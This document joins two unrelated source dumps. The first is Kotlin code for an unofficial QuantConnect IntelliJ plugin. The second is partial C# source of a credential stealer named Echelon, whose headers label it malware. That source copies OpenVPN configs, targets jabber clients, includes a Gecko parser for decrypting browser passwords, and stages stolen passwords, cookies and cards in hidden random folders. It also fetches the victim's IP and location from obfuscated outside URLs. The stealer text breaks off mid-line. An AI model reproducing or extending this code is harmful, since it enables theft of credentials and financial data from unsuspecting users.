syncService.processEvents(projectEvents) } } }) triggerAction<SyncAction>() } private fun isPathInProject(project: Project, path: String): Boolean { return try { Paths.get(project.basePath!!).relativize(Paths.get(path)) !path.contains(Paths.get(project.basePath!!, Project.DIRECTORY_STORE_FOLDER).toString()) } catch (e: IllegalArgumentException) { false } } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/sync/SyncService.kt package com.jaspervanmerle.qcij.sync import com.intellij.openapi.components.service import com.intellij.openapi.project.Project import com.intellij.openapi.vfs.newvfs.events.VFileContentChangeEvent import com.intellij.openapi.vfs.newvfs.events.VFileCopyEvent import com.intellij.openapi.vfs.newvfs.events.VFileCreateEvent import com.intellij.openapi.vfs.newvfs.events.VFileDeleteEvent import com.intellij.openapi.vfs.newvfs.events.VFileEvent import com.intellij.openapi.vfs.newvfs.events.VFileMoveEvent import com.jaspervanmerle.qcij.config.ConfigService class SyncService(private val project: Project) { private val config = project.service<ConfigService>() fun processEvents(events: List<VFileEvent>) { for (event in events) { // TODO(jmerle): Check if event was generated by a user action or by the SyncTask onEvent(event) } } private fun onEvent(event: VFileEvent) { when (event) { is VFileCreateEvent -> onCreate(event) is VFileContentChangeEvent -> onContentChange(event) is VFileDeleteEvent -> onDelete(event) is VFileMoveEvent -> onMove(event) is VFileCopyEvent -> onCopy(event) } } private fun onCreate(event: VFileCreateEvent) { println("create: ${event.path}") } private fun onContentChange(event: VFileContentChangeEvent) { println("contentChange: ${event.file.path}") } private fun onDelete(event: VFileDeleteEvent) { println("delete: ${event.path}") } private fun onMove(event: VFileMoveEvent) { println("move: ${event.file.path} : ${event.oldParent.path} -> ${event.newParent.path}") } private fun onCopy(event: VFileCopyEvent) { println("copy: ${event.file.path} -> ${event.newParent.path} : ${event.newChildName}") } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/action/ProjectAction.kt package com.jaspervanmerle.qcij.action import com.intellij.openapi.actionSystem.AnAction import com.intellij.openapi.actionSystem.AnActionEvent import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.project.isQuantConnectProject import com.jaspervanmerle.qcij.ui.Notifications abstract class ProjectAction : AnAction() { override fun update(e: AnActionEvent) { e.presentation.isEnabled = e.project != null } override fun actionPerformed(e: AnActionEvent) { val project = e.project if (!project.isQuantConnectProject()) { Notifications.error(project, "This is not a QuantConnect project, create one in the New Project Wizard.") return } execute(project!!) } protected abstract fun execute(project: Project) } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/serializer/InstantDeserializer.kt package com.jaspervanmerle.qcij.api.serializer import com.fasterxml.jackson.core.JsonParser import com.fasterxml.jackson.databind.DeserializationContext import com.fasterxml.jackson.databind.deser.std.StdDeserializer import java.time.Instant import java.time.format.DateTimeFormatter class InstantDeserializer(private val formatter: DateTimeFormatter) : StdDeserializer<Instant>(String::class.java) { override fun deserialize(p: JsonParser, ctxt: DeserializationContext): Instant { return formatter.parse(p.valueAsString, Instant::from) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectParameter.kt package com.jaspervanmerle.qcij.api.model data class QuantConnectParameter(val key: String, val value: String) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/config/QuantConnectConfigurable.kt package com.jaspervanmerle.qcij.config import com.intellij.openapi.components.service import com.intellij.openapi.options.Configurable import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials import com.jaspervanmerle.qcij.ui.SettingsPanel import javax.swing.JComponent class QuantConnectConfigurable(project: Project) : Configurable { private val credentialsService = project.service<CredentialsService>() private val settingsPanel = SettingsPanel() private var currentCredentials = QuantConnectCredentials("", "") init { val credentials = credentialsService.getCredentials() if (credentials != null) { settingsPanel.userId = credentials.userId settingsPanel.apiToken = credentials.apiToken currentCredentials = credentials } } override fun getDisplayName(): String { return "QuantConnect" } override fun createComponent(): JComponent? { return settingsPanel.createComponent() } override fun isModified(): Boolean { return settingsPanel.userId != currentCredentials.userId || settingsPanel.apiToken != currentCredentials.apiToken } override fun apply() { settingsPanel.validate() credentialsService.setCredentials(settingsPanel.userId, settingsPanel.apiToken) currentCredentials = credentialsService.getCredentials()!! } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/client/FileClient.kt package com.jaspervanmerle.qcij.api.client import com.fasterxml.jackson.module.kotlin.readValue import com.jaspervanmerle.qcij.api.APIClient import com.jaspervanmerle.qcij.api.model.QuantConnectFile import com.jaspervanmerle.qcij.api.model.exception.APIException import com.jaspervanmerle.qcij.api.model.response.GetAllFilesResponse class FileClient(private val api: APIClient) { fun get(projectId: Int, filename: String): QuantConnectFile { return api.objectMapper .readValue<GetAllFilesResponse>(api.get("files/read?projectId=$projectId&name=$filename")) .files .firstOrNull() ?: throw APIException("File $filename in project $projectId does not exist") } fun getAll(projectId: Int): List<QuantConnectFile> { return api.objectMapper .readValue<GetAllFilesResponse>(api.get("files/read?projectId=$projectId")) .files } fun create(projectId: Int, filename: String, content: String): QuantConnectFile { val response = api.post("files/create", mapOf( "projectId" to projectId, "name" to filename, "content" to content )) return api.objectMapper .readValue<GetAllFilesResponse>(response) .files .firstOrNull() ?: throw APIException("File $filename in project $projectId could not be created") } fun update(projectId: Int, filename: String, content: String) { api.post("files/update", mapOf( "projectId" to projectId, "name" to filename, "content" to content )) } fun delete(projectId: Int, filename: String) { api.post("files/delete", mapOf( "projectId" to projectId, "name" to filename )) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/config/CredentialsService.kt package com.jaspervanmerle.qcij.config import com.intellij.credentialStore.CredentialAttributes import com.intellij.credentialStore.Credentials import com.intellij.credentialStore.generateServiceName import com.intellij.ide.passwordSafe.PasswordSafe import com.intellij.openapi.components.service import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials class CredentialsService(private val project: Project) { fun getCredentials(): QuantConnectCredentials? { val credentials = PasswordSafe.instance.get(createCredentialAttributes()) ?: return null val userId = credentials.userName ?: return null val apiToken = credentials.getPasswordAsString() ?: return null return QuantConnectCredentials(userId, apiToken) } fun setCredentials(userId: String?, apiToken: String?) { PasswordSafe.instance.set(createCredentialAttributes(), Credentials(userId, apiToken)) val publisher = project.messageBus.syncPublisher(CredentialsListener.TOPIC) publisher.onCredentialsChange(getCredentials()) } private fun createCredentialAttributes(): CredentialAttributes { val subsystem = "com.jaspervanmerle.qcij.config.CredentialsService" val key = project.service<ConfigService>().projectId return CredentialAttributes(generateServiceName(subsystem, key)) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/config/CredentialsListener.kt package com.jaspervanmerle.qcij.config import com.intellij.util.messages.Topic import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials interface CredentialsListener { companion object { val TOPIC = Topic(CredentialsListener::class.java) } fun onCredentialsChange(newCredentials: QuantConnectCredentials?) } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectCollaborator.kt package com.jaspervanmerle.qcij.api.model import com.fasterxml.jackson.annotation.JsonProperty data class QuantConnectCollaborator( val id: Int, @JsonProperty("uid") val userId: Int, @JsonProperty("blivecontrol") val bLiveControl: Boolean, @JsonProperty("epermission") val ePermission: String, @JsonProperty("profileimage") val profileImageUrl: String, val name: String ) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/response/GetAllFilesResponse.kt package com.jaspervanmerle.qcij.api.model.response import com.jaspervanmerle.qcij.api.model.QuantConnectFile data class GetAllFilesResponse(val files: List<QuantConnectFile>) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/serializer/InstantSerializer.kt package com.jaspervanmerle.qcij.api.serializer import com.fasterxml.jackson.core.JsonGenerator import com.fasterxml.jackson.databind.SerializerProvider import com.fasterxml.jackson.databind.ser.std.StdSerializer import java.time.Instant import java.time.format.DateTimeFormatter class InstantSerializer(private val formatter: DateTimeFormatter) : StdSerializer<Instant>(Instant::class.java) { override fun serialize(value: Instant?, gen: JsonGenerator, provider: SerializerProvider) { if (value == null) { gen.writeNull() return } gen.writeString(formatter.format(value)) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectFile.kt package com.jaspervanmerle.qcij.api.model import java.time.Instant data class QuantConnectFile( val name: String, val content: String, val modified: Instant, val projectId: Int, val open: Int, val userHasAccess: Boolean, val readOnly: Boolean, val binary: Boolean? ) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/ui/Icons.kt package com.jaspervanmerle.qcij.ui import com.intellij.openapi.util.IconLoader object Icons { val LOGO = IconLoader.getIcon("/icons/logo.png") } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/config/ConfigService.kt package com.jaspervanmerle.qcij.config import com.intellij.openapi.components.PersistentStateComponent import com.intellij.openapi.components.State import com.intellij.openapi.project.Project import java.util.UUID @State(name = "QuantConnectConfig") class ConfigService(project: Project) : PersistentStateComponent<ConfigService.State> { data class State( // An arbitrary project-specific id which is persistent even when the project is renamed var projectId: String = "", // QuantConnect project id -> timestamp (Epoch seconds) of when a file in it was last modified locally var syncedProjects: MutableMap<Int, Long> = mutableMapOf(), // File path relative to project root -> timestamp (Epoch seconds) it was last modified var syncedFiles: MutableMap<String, Long> = mutableMapOf(), // QuantConnect project id -> root path relative to the project var projectRoots: MutableMap<Int, String> = mutableMapOf() ) private var state = State() val projectId: String get() = state.projectId val syncedProjects: MutableMap<Int, Long> get() = state.syncedProjects val syncedFiles: MutableMap<String, Long> get() = state.syncedFiles val projectRoots: MutableMap<Int, String> get() = state.projectRoots init { // An arbitrary id is assigned to the project so that other classes can use a project-specific id when needed state.projectId = "${project.name}-${UUID.randomUUID()}" } override fun getState(): State? { return state } override fun loadState(newState: State) { state = newState } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/ui/Notifications.kt package com.jaspervanmerle.qcij.ui import com.intellij.notification.NotificationDisplayType import com.intellij.notification.NotificationGroup import com.intellij.notification.NotificationType import com.intellij.openapi.project.Project object Notifications { private val notificationGroup = NotificationGroup("QuantConnect", NotificationDisplayType.BALLOON, true) private fun notify(project: Project?, content: String, type: NotificationType) { val notification = notificationGroup.createNotification("QuantConnect", content, type, null) notification.notify(project) } fun info(project: Project?, content: String) = notify(project, content, NotificationType.INFORMATION) fun warn(project: Project?, content: String) = notify(project, content, NotificationType.WARNING) fun error(project: Project?, content: String) = notify(project, content, NotificationType.ERROR) } <file_sep>/README.md # QuantConnect IntelliJ Plugin # Deprecated while in-development in favor of [jmerle/quantconnect-cli](https://github.com/jmerle/quantconnect-cli). [![Build Status](https://dev.azure.com/jmerle/quantconnect-intellij-plugin/_apis/build/status/Build?branchName=master)](https://dev.azure.com/jmerle/quantconnect-intellij-plugin/_build/latest?definitionId=24&branchName=master) QuantConnect IntelliJ Plugin is an unofficial QuantConnect plugin for IntelliJ-based IDE's like Rider and PyCharm which provides tight integration between the IDE and QuantConnect. Its main features are file syncing and running backtests from inside the IDE. **This project is a work-in-progress at the moment. Not all features are implemented yet and links may not work yet. PR's are not accepted at this time.** ## Scope Outside the scope of this projects are some things which are better suited for the web interface: - Anything to do with live trading - Viewing backtests <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectCompileState.kt package com.jaspervanmerle.qcij.api.model import com.fasterxml.jackson.annotation.JsonCreator import com.fasterxml.jackson.annotation.JsonValue enum class QuantConnectCompileState(private val value: String) { IN_QUEUE("InQueue"), BUILD_SUCCESS("BuildSuccess"), BUILD_ERROR("BuildError"); companion object { private val allValues = QuantConnectCompileState.values() @JsonCreator fun forValue(value: String): QuantConnectCompileState? { return allValues.firstOrNull { it.value == value } } } @JsonValue fun toValue(): String { return value } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectBacktest.kt package com.jaspervanmerle.qcij.api.model import java.time.Instant import org.json.JSONObject data class QuantConnectBacktest( val backtestId: String, val name: String, val note: String?, val created: Instant, val completed: Boolean, val progress: Int, val error: String?, val stacktrace: String?, // The result object can be huge and contains all result data including charting data // This property is private and the results property should be used instead as it provides an actual JsonObject // Example response containing a full result object with the chart values arrays truncated to a single item: // https://gist.github.com/jmerle/c0bf7435cf862803a93a05fe6e41c2a9 val result: JSONObject? ) { val successful = completed && progress == 1 && result?.has("TotalPerformance") == true } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/client/BacktestClient.kt package com.jaspervanmerle.qcij.api.client import com.fasterxml.jackson.module.kotlin.readValue import com.jaspervanmerle.qcij.api.APIClient import com.jaspervanmerle.qcij.api.model.QuantConnectBacktest import com.jaspervanmerle.qcij.api.model.response.GetAllBacktestsResponse class BacktestClient(private val api: APIClient) { fun get(projectId: Int, backtestId: String): QuantConnectBacktest { return api.objectMapper.readValue(api.get("backtests/read?projectId=$projectId&backtestId=$backtestId")) } fun getAll(projectId: Int): List<QuantConnectBacktest> { return api.objectMapper .readValue<GetAllBacktestsResponse>(api.get("backtests/read?projectId=$projectId")) .backtests } fun create(projectId: Int, compileId: String, name: String): QuantConnectBacktest { val response = api.post("backtests/create", mapOf( "projectId" to projectId, "compileId" to compileId, "backtestName" to name )) return api.objectMapper.readValue(response) } fun update(projectId: Int, backtestId: String, name: String, note: String) { api.post("backtests/update", mapOf( "projectId" to projectId, "backtestId" to backtestId, "name" to name, "note" to note )) } fun delete(projectId: Int, backtestId: String) { api.post("backtests/delete?projectId=$projectId&backtestId=$backtestId") } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/module/QuantConnectModuleWizardStep.kt package com.jaspervanmerle.qcij.module import com.intellij.ide.util.projectWizard.ModuleWizardStep import com.jaspervanmerle.qcij.ui.SettingsPanel import javax.swing.JComponent class QuantConnectModuleWizardStep(private val builder: QuantConnectModuleBuilder) : ModuleWizardStep() { private val settingsPanel = SettingsPanel() override fun getComponent(): JComponent { return settingsPanel.createComponent() } override fun updateDataModel() { builder.userId = settingsPanel.userId builder.apiToken = settingsPanel.apiToken } override fun validate(): Boolean { return settingsPanel.validate() } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/exception/InvalidCredentialsException.kt package com.jaspervanmerle.qcij.api.model.exception class InvalidCredentialsException : Exception("Invalid credentials") <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/response/GetCompileResponse.kt package com.jaspervanmerle.qcij.api.model.response import com.jaspervanmerle.qcij.api.model.QuantConnectCompileState data class GetCompileResponse( val compileId: String, val state: QuantConnectCompileState, val logs: List<String> ) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/client/ProjectClient.kt package com.jaspervanmerle.qcij.api.client import com.fasterxml.jackson.module.kotlin.readValue import com.jaspervanmerle.qcij.api.APIClient import com.jaspervanmerle.qcij.api.model.QuantConnectProject import com.jaspervanmerle.qcij.api.model.exception.APIException import com.jaspervanmerle.qcij.api.model.response.GetAllProjectsResponse class ProjectClient(private val api: APIClient) { fun get(projectId: Int): QuantConnectProject { return api.objectMapper .readValue<GetAllProjectsResponse>(api.get("projects/read?projectId=$projectId")) .projects .firstOrNull() ?: throw APIException("Project $projectId does not exist") } fun getAll(): List<QuantConnectProject> { return api.objectMapper .readValue<GetAllProjectsResponse>(api.get("projects/read")) .projects } fun delete(projectId: Int) { api.post("projects/delete", mapOf("projectId" to projectId)) } fun addLibrary(projectId: Int, libraryId: Int) { api.post("projects/library/create", mapOf( "projectId" to projectId, "libraryId" to libraryId )) } fun removeLibrary(projectId: Int, libraryId: Int) { api.post("projects/library/delete", mapOf( "projectId" to projectId, "libraryId" to libraryId )) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/action/SyncAction.kt package com.jaspervanmerle.qcij.action import com.intellij.openapi.progress.ProgressManager import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.sync.SyncTask class SyncAction : ProjectAction() { override fun execute(project: Project) { ProgressManager.getInstance().run(SyncTask(project)) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/ui/SettingsPanel.kt package com.jaspervanmerle.qcij.ui import com.intellij.ide.BrowserUtil import com.intellij.openapi.options.ConfigurationException import com.intellij.ui.layout.panel import com.jaspervanmerle.qcij.api.APIClient import com.jaspervanmerle.qcij.api.client.ProjectClient import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials import com.jaspervanmerle.qcij.api.model.exception.APIException import com.jaspervanmerle.qcij.api.model.exception.InvalidCredentialsException import javax.swing.JComponent class SettingsPanel { var userId = "" var apiToken = "" fun createComponent(): JComponent { return panel { row { link("Retrieve your credentials by going to quantconnect.com/account and clicking on the 'Request Email with Token' button.") { BrowserUtil.browse("https://www.quantconnect.com/account") } } row("User ID:") { createTextField(::userId)() } row("API token:") { createPasswordField(::apiToken)() } } } fun validate(): Boolean { if (userId.isBlank()) { throw ConfigurationException("User ID cannot be blank") } if (apiToken.isBlank()) { throw ConfigurationException("API token cannot be blank") } try { ProjectClient(APIClient(QuantConnectCredentials(userId, apiToken))).getAll() } catch (e: InvalidCredentialsException) { throw ConfigurationException("Invalid user ID and/or API token") } catch (e: APIException) { // Could not check token, assume it is valid } return true } } <file_sep>/build.gradle.kts import org.jetbrains.kotlin.gradle.tasks.KotlinCompile plugins { kotlin("jvm") version "1.3.70" id("org.jetbrains.intellij") version "0.4.16" id("org.jlleitschuh.gradle.ktlint") version "9.2.1" } group = "com.jaspervanmerle.qcij" version = "1.0.0" repositories { jcenter() } dependencies { implementation("com.github.kittinunf.fuel:fuel:2.2.1") implementation("com.fasterxml.jackson.core:jackson-databind:2.10.3") implementation("com.fasterxml.jackson.module:jackson-module-kotlin:2.10.3") implementation("com.fasterxml.jackson.datatype:jackson-datatype-json-org:2.10.3") implementation("org.json:json:20190722") } // See https://github.com/JetBrains/gradle-intellij-plugin intellij { version = "2019.3" } // See https://github.com/jlleitschuh/ktlint-gradle ktlint { filter { exclude("**/generated/**") include("**/kotlin/**") } } tasks.withType<KotlinCompile> { kotlinOptions.jvmTarget = "1.8" } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectCompileParameter.kt package com.jaspervanmerle.qcij.api.model data class QuantConnectCompileParameter(val line: Int, val type: String)
c8f0c75d8302b27c474c736550d0f8952d0efb9b
[ "Markdown", "Kotlin" ]
45
Kotlin
jmerle/quantconnect-intellij-plugin
deaa457a52dab13cab376f5fc1a66a6da982931d
88a6b109108f5c66b1ff46caaff746cf26061f0a
refs/heads/master
<file_sep> //Program to execute controller's actions run var fs = require('fs'); var s = fs.createReadStream('unsortedFile.txt',{encoding:'utf8'}) var sortedArrIndex = new Array(100) for(i=0;i<sortedArrIndex.length;i++){ sortedArrIndex[i] = 0 } s.on('data',function(chunk){ var line = chunk.split("\n") line.forEach(function(element) { elementArr = element.split(' '); elementArr.forEach(function(data){ sortedArrIndex[data] = sortedArrIndex[data]+1 }) }, this); }) s.on('end',function(chunk){ for(i=0;i<sortedArrIndex.length;i++){ for(j=0;j<sortedArrIndex[i];j++){ console.log(i); fs.appendFileSync('srtedFile.txt',i); } } }) <file_sep>import { Component, OnInit } from '@angular/core'; import { FormGroup, Validators, FormBuilder } from '@angular/forms'; import { DetailsService } from '../details.service'; import { EmailValidation } from './emailValid'; @Component({ selector: 'app-form', templateUrl: './form.component.html', styleUrls: ['./form.component.css'] }) export class FormComponent implements OnInit { loginForm: FormGroup constructor(private fb:FormBuilder,private detailService:DetailsService) { } ngOnInit() { this.loginForm = this.fb.group({ 'email':['',[Validators.required,EmailValidation.emailValid]], 'username':['',Validators.required], 'password':['',Validators.required], 'phoneNumber':['',Validators.required], 'country':['',Validators.required] }) } get email() { return this.loginForm.controls.email } get username() { return this.loginForm.controls.username } get password() { return this.loginForm.controls.password } get phoneNumber() { return this.loginForm.controls.phoneNumber } get country() { return this.loginForm.controls.country } submit(form){ this.detailService.broadcastObjectChange(form) } } <file_sep>import { Component, OnInit } from '@angular/core'; import { DetailsService } from '../details.service'; @Component({ selector: 'app-display', templateUrl: './display.component.html', styleUrls: ['./display.component.css'] }) export class DisplayComponent implements OnInit { constructor(private detailService:DetailsService) { } details ngOnInit() { this.detailService.details.subscribe(res =>{ this.details = res }) } } <file_sep>var fs = require('fs'); var actionCountObject = {}; var s = fs.createReadStream('development.log',{encoding:'utf8'}) s.on('data',function(chunk){ var lines = chunk.split("\n") lines.forEach(function(element) { var words = element.split(' '); if(words[0] == "Processing" && words[2].indexOf('SprintsController')>-1){ let word = words[2] if(actionCountObject[word]){ actionCountObject[word]++ } else{ actionCountObject[word] = 1 } } }, this); }) s.on('end',function(){ Object.keys(actionCountObject).map(function(key){ console.log('SprintsController=> '+key.slice(key.indexOf('#'))+'ran '+actionCountObject[key]+' times') }) })
9a557711d4ec4035615d5b0ddd81c1a45641ab8f
[ "JavaScript", "TypeScript" ]
4
JavaScript
qexon/demo_srijan
ab9e0fad4cc3fd69be645920ea00c89b41ea3d1f
d9e6aa5ba67f563572eb84590ae0176105ba2d5e
refs/heads/main
<repo_name>wisc-hci-curriculum/react-native-demos-asyncstorage<file_sep>/async_storage_example.js import React, { Component } from 'react' import { StatusBar } from 'react-native' import { AsyncStorage, Text, View, TextInput, StyleSheet, TouchableOpacity } from 'react-native' // import { AsyncStorage } from '@react-native-community/async-storage' // This example is based on code from https://www.tutorialspoint.com/react_native/react_native_asyncstorage.htm class AsyncStorageExample extends Component { state = { 'entry': '' } componentDidMount = () => AsyncStorage.getItem('entry').then((value) => this.setState({ 'entry': value })) saveToMemory = (value) => { AsyncStorage.setItem('entry', value); this.setState({ 'entry': value }); } resetMemory = () => { this.setState({ 'entry': '' }); } render() { return ( <View style={styles.container}> <TextInput style={styles.textInput} autoCapitalize='none' onChangeText={this.saveToMemory} /> <Text> Retrieved from memory: {this.state.entry} </Text> <TouchableOpacity onPress={this.resetMemory} style={styles.appButtonContainer}> <Text style={styles.appButtonText}>Reset</Text> </TouchableOpacity> </View> ) } } export default AsyncStorageExample const styles = StyleSheet.create({ container: { flex: 1, justifyContent: "center", alignItems: 'center', }, textInput: { margin: 20, height: 40, borderWidth: 0, width: 200, backgroundColor: "#e6eef0" }, appButtonContainer: { marginTop: 20, elevation: 8, backgroundColor: "#e6eef0", borderRadius: 10, paddingVertical: 10, paddingHorizontal: 12 }, appButtonText: { fontSize: 18, color: "#6a8194", fontWeight: "bold", alignSelf: "center", textTransform: "uppercase" } })<file_sep>/App.js import React from 'react' import AsyncStorageExample from './async_storage_example.js' const App = () => { return ( <AsyncStorageExample /> ) } export default App
136c67c385dddd524dc036a4d87f2f4ca1815e1f
[ "JavaScript" ]
2
JavaScript
wisc-hci-curriculum/react-native-demos-asyncstorage
c7fa6bd7156ea58f622aac475e8a4d2208054279
826e83d79715da2bb339cff98f56cd20ba9dd7d9
refs/heads/master
<repo_name>Ondrik8/Echelon-Stealer-v5<file_sep>/Stealer/Jabber/Startjabbers.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Echelon { class Startjabbers { public static int count = 0; public static int Start(string Echelon_Dir) { Pidgin.Start(Echelon_Dir); Psi.Start(Echelon_Dir); return count; } } } <file_sep>/Stealer/VPN/OpenVPN.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Microsoft.Win32; using System.IO; namespace Echelon { class OpenVPN { public static int count = 0; public static void GetOpenVPN(string Echelon_Dir) { try { RegistryKey localMachineKey = Registry.LocalMachine; string[] names = localMachineKey.OpenSubKey("SOFTWARE").GetSubKeyNames(); foreach (string i in names) { if (i == "OpenVPN") { Directory.CreateDirectory(Echelon_Dir + "\\VPN\\OpenVPN"); try { string dir = localMachineKey.OpenSubKey("SOFTWARE").OpenSubKey("OpenVPN").GetValue("config_dir").ToString(); DirectoryInfo dire = new DirectoryInfo(dir); dire.MoveTo(Echelon_Dir + "\\VPN\\OpenVPN"); count++; } catch {} } } } catch {} //Стиллинг импортированных конфигов *New try { string dir = Help.UserProfile + "\\OpenVPN\\config\\conf\\"; if (Directory.Exists(dir)) { foreach (FileInfo file in new DirectoryInfo(dir).GetFiles()) { Directory.CreateDirectory(Echelon_Dir + "\\VPN\\OpenVPN\\config\\conf\\"); file.CopyTo(Echelon_Dir + "\\VPN\\OpenVPN\\config\\conf\\" + file.Name); } count++; } else { return; } } catch {} } } } <file_sep>/Stealer/Browsers/Gecko/Gecko1.cs using System; namespace Echelon { public class Gecko1 { public static Gecko4 Create(byte[] dataToParse) { Gecko4 Gecko4 = new Gecko4(); for (int i = 0; i < dataToParse.Length; i++) { Gecko2 Gecko2 = (Gecko2)dataToParse[i]; int num = 0; switch (Gecko2) { case Gecko2.Sequence: { byte[] array; if (Gecko4.ObjectLength == 0) { Gecko4.ObjectType = Gecko2.Sequence; Gecko4.ObjectLength = dataToParse.Length - (i + 2); array = new byte[Gecko4.ObjectLength]; } else { Gecko4.Objects.Add(new Gecko4 { ObjectType = Gecko2.Sequence, ObjectLength = dataToParse[i + 1] }); array = new byte[dataToParse[i + 1]]; } num = ((array.Length > dataToParse.Length - (i + 2)) ? (dataToParse.Length - (i + 2)) : array.Length); Array.Copy(dataToParse, i + 2, array, 0, array.Length); Gecko4.Objects.Add(Create(array)); i = i + 1 + dataToParse[i + 1]; break; } case Gecko2.Integer: { Gecko4.Objects.Add(new Gecko4 { ObjectType = Gecko2.Integer, ObjectLength = dataToParse[i + 1] }); byte[] array = new byte[dataToParse[i + 1]]; num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array, 0, num); Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array; i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength; break; } case Gecko2.OctetString: { Gecko4.Objects.Add(new Gecko4 { ObjectType = Gecko2.OctetString, ObjectLength = dataToParse[i + 1] }); byte[] array = new byte[dataToParse[i + 1]]; num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array, 0, num); Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array; i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength; break; } case Gecko2.ObjectIdentifier: { Gecko4.Objects.Add(new Gecko4 { ObjectType = Gecko2.ObjectIdentifier, ObjectLength = dataToParse[i + 1] }); byte[] array = new byte[dataToParse[i + 1]]; num = ((i + 2 + dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array, 0, num); Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectData = array; i = i + 1 + Gecko4.Objects[Gecko4.Objects.Count - 1].ObjectLength; break; } } } return Gecko4; } } } <file_sep>/Global/Help.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Diagnostics; using System.IO; using System.Management; using System.Net; using System.Text; using System.Text.RegularExpressions; using System.Windows; using System.Xml; namespace Echelon { public class Help { // Пути public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Help.DesktopPath public static readonly string LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Help.LocalData public static readonly string System = Environment.GetFolderPath(Environment.SpecialFolder.System); // Help.System public static readonly string AppDate = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); // Help.AppDate public static readonly string CommonData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData); // Help.CommonData public static readonly string MyDocuments = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); // Help.MyDocuments public static readonly string UserProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); // Help.UserProfile public static readonly string downloadsDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads"; // Help.downloadsDir // Выбираем рандомную системную папку public static string[] SysPatch = new string[] { LocalData, AppDate, Path.GetTempPath() }; public static string RandomSysPatch = SysPatch[new Random().Next(0, SysPatch.Length)]; // Мутекс берем из сгенерированного HWID public static string Mut = HWID; // Генерим уникальный HWID public static string HWID = GetProcessorID() + GetHwid(); public static string GeoIpURL = Decrypt.Get("H4sIAAAAAAAEAMsoKSmw0tfPLNBNLMjUS87P1a/IzQEAoQIM4RUAAAA="); public static string ApiUrl = Decrypt.Get("H<KEY>"); //Help.ApiUrl public static string IP = new WebClient().DownloadString(Decrypt.Get("H4sIAAAAAAAEAMsoKSkottLXTyzI1MssyEyr1MsvStcHAPAN4yoWAAAA")); // Help.IP // Создаем рандомные папки для сбора лога стиллера public static string dir = RandomSysPatch + "\\" + GenString.Generate() + HWID + GenString.GeneNumbersTo(); public static string collectionDir = dir + "\\" + GenString.GeneNumbersTo() + HWID + GenString.Generate(); public static string Browsers = collectionDir + "\\Browsers"; public static string Cookies = Browsers + "\\Cookies"; public static string Passwords = Browsers + "\\Passwords"; public static string Autofills = Browsers + "\\Autofills"; public static string Downloads = Browsers + "\\Downloads"; public static string History = Browsers + "\\History"; public static string Cards = Browsers + "\\Cards"; // Временные переменные public static string date = DateTime.Now.ToString("MM/dd/yyyy h:mm:ss tt"); //Help.date public static string dateLog = DateTime.Now.ToString("MM/dd/yyyy"); //Help.dateLog // Получаем код страны типа: [RU] public static string CountryCOde() //Help.CountryCOde() { XmlDocument xml = new XmlDocument(); xml.LoadXml(new WebClient().DownloadString(GeoIpURL)); //Получаем IP Geolocation CountryCOde string countryCode = "[" 